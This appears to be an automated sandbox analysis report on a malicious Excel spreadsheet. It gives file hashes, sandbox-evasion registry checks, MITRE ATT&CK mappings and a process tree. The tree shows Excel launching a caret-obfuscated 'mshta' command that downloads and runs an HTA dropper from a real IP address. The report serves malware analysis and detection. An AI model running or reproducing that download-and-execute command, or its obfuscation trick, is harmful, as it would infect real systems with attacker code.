4b969e0e8bacd113380394b18185717705faa47f3b6b6fcf3f989392f72b5328

Analysis

max time kernel
134s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
20-11-2024 16:21

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General

Target

4b969e0e8bacd113380394b18185717705faa47f3b6b6fcf3f989392f72b5328.xls
Size

36KB
MD5

51e8d88d8a478776909eb8b9e359cabd
SHA1

25b38dad91febf7b36d48aa03db2486394240cdf
SHA256

4b969e0e8bacd113380394b18185717705faa47f3b6b6fcf3f989392f72b5328
SHA512

2751b8b9d77fce6f3c12809dbe0a728fe53bf9bd3cd83eb5f1111440ce3a0daa0a69a6142212384bf48c7603c5c91e4c17e4e8a5eb97a79f071f838f2913d747
SSDEEP

768:f1kk3hbdlylKsgqopeJBWhZFGkE+cL2NdAJjj6ehEnmEzk:f1kk3hbdlylKsgqopeJBWhZFGkE+cL2V

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://91.240.118.168/oo/aa/se.html

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	4204	4212	CMD.EXE	81

Blocklisted process makes network request 1 IoCs

flow	pid	Process
21	3276	mshta.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
4212	EXCEL.EXE

Suspicious use of SetWindowsHookEx 12 IoCs

pid	Process
4212	EXCEL.EXE
4212	EXCEL.EXE
4212	EXCEL.EXE
4212	EXCEL.EXE
4212	EXCEL.EXE
4212	EXCEL.EXE
4212	EXCEL.EXE
4212	EXCEL.EXE
4212	EXCEL.EXE
4212	EXCEL.EXE
4212	EXCEL.EXE
4212	EXCEL.EXE

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 4212 wrote to memory of 4204	4212	EXCEL.EXE	85
PID 4212 wrote to memory of 4204	4212	EXCEL.EXE	85
PID 4204 wrote to memory of 3276	4204	CMD.EXE	87
PID 4204 wrote to memory of 3276	4204	CMD.EXE	87

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\4b969e0e8bacd113380394b18185717705faa47f3b6b6fcf3f989392f72b5328.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4212
- C:\Windows\SYSTEM32\CMD.EXE
  CMD.EXE /c ms^hta http://91.2^40.118.1^68/oo/aa/s^e.ht^m^l
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:4204
- - C:\Windows\system32\mshta.exe
    mshta http://91.240.118.168/oo/aa/se.html
    3⤵
    - Blocklisted process makes network request
    PID:3276

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms

Filesize
3KB

MD5
dc345f6a6adbb82663dd6ff077ea3195

SHA1
a8cce1d81fc09f70902b224a52768a76b3722096

SHA256
a98cc558a9cc20d713c7a1a7bff5f6bbc0a2f9d84ed7973f22c0aa1cf87c519f

SHA512
4fb281633fb951c9ad1e6718391d3ade80c3e15b803c3116c1934fdc8a14cd254a9ebafaf9e855372b5d421619346efbe0a79da9481ed740c29c51220a20dcf0

Download Submit
memory/4212-10-0x00007FFB5F250000-0x00007FFB5F445000-memory.dmp

Filesize
2.0MB

Download
memory/4212-7-0x00007FFB1F2D0000-0x00007FFB1F2E0000-memory.dmp

Filesize
64KB

Download
memory/4212-12-0x00007FFB5F250000-0x00007FFB5F445000-memory.dmp

Filesize
2.0MB

Download
memory/4212-6-0x00007FFB5F250000-0x00007FFB5F445000-memory.dmp

Filesize
2.0MB

Download
memory/4212-13-0x00007FFB5F250000-0x00007FFB5F445000-memory.dmp

Filesize
2.0MB

Download
memory/4212-5-0x00007FFB1F2D0000-0x00007FFB1F2E0000-memory.dmp

Filesize
64KB

Download
memory/4212-8-0x00007FFB5F250000-0x00007FFB5F445000-memory.dmp

Filesize
2.0MB

Download
memory/4212-11-0x00007FFB5F250000-0x00007FFB5F445000-memory.dmp

Filesize
2.0MB

Download
memory/4212-3-0x00007FFB5F2ED000-0x00007FFB5F2EE000-memory.dmp

Filesize
4KB

Download
memory/4212-1-0x00007FFB1F2D0000-0x00007FFB1F2E0000-memory.dmp

Filesize
64KB

Download
memory/4212-0-0x00007FFB1F2D0000-0x00007FFB1F2E0000-memory.dmp

Filesize
64KB

Download
memory/4212-9-0x00007FFB5F250000-0x00007FFB5F445000-memory.dmp

Filesize
2.0MB

Download
memory/4212-4-0x00007FFB5F250000-0x00007FFB5F445000-memory.dmp

Filesize
2.0MB

Download
memory/4212-14-0x00007FFB1C970000-0x00007FFB1C980000-memory.dmp

Filesize
64KB

Download
memory/4212-15-0x00007FFB1C970000-0x00007FFB1C980000-memory.dmp

Filesize
64KB

Download
memory/4212-26-0x00007FFB5F250000-0x00007FFB5F445000-memory.dmp

Filesize
2.0MB

Download
memory/4212-2-0x00007FFB1F2D0000-0x00007FFB1F2E0000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads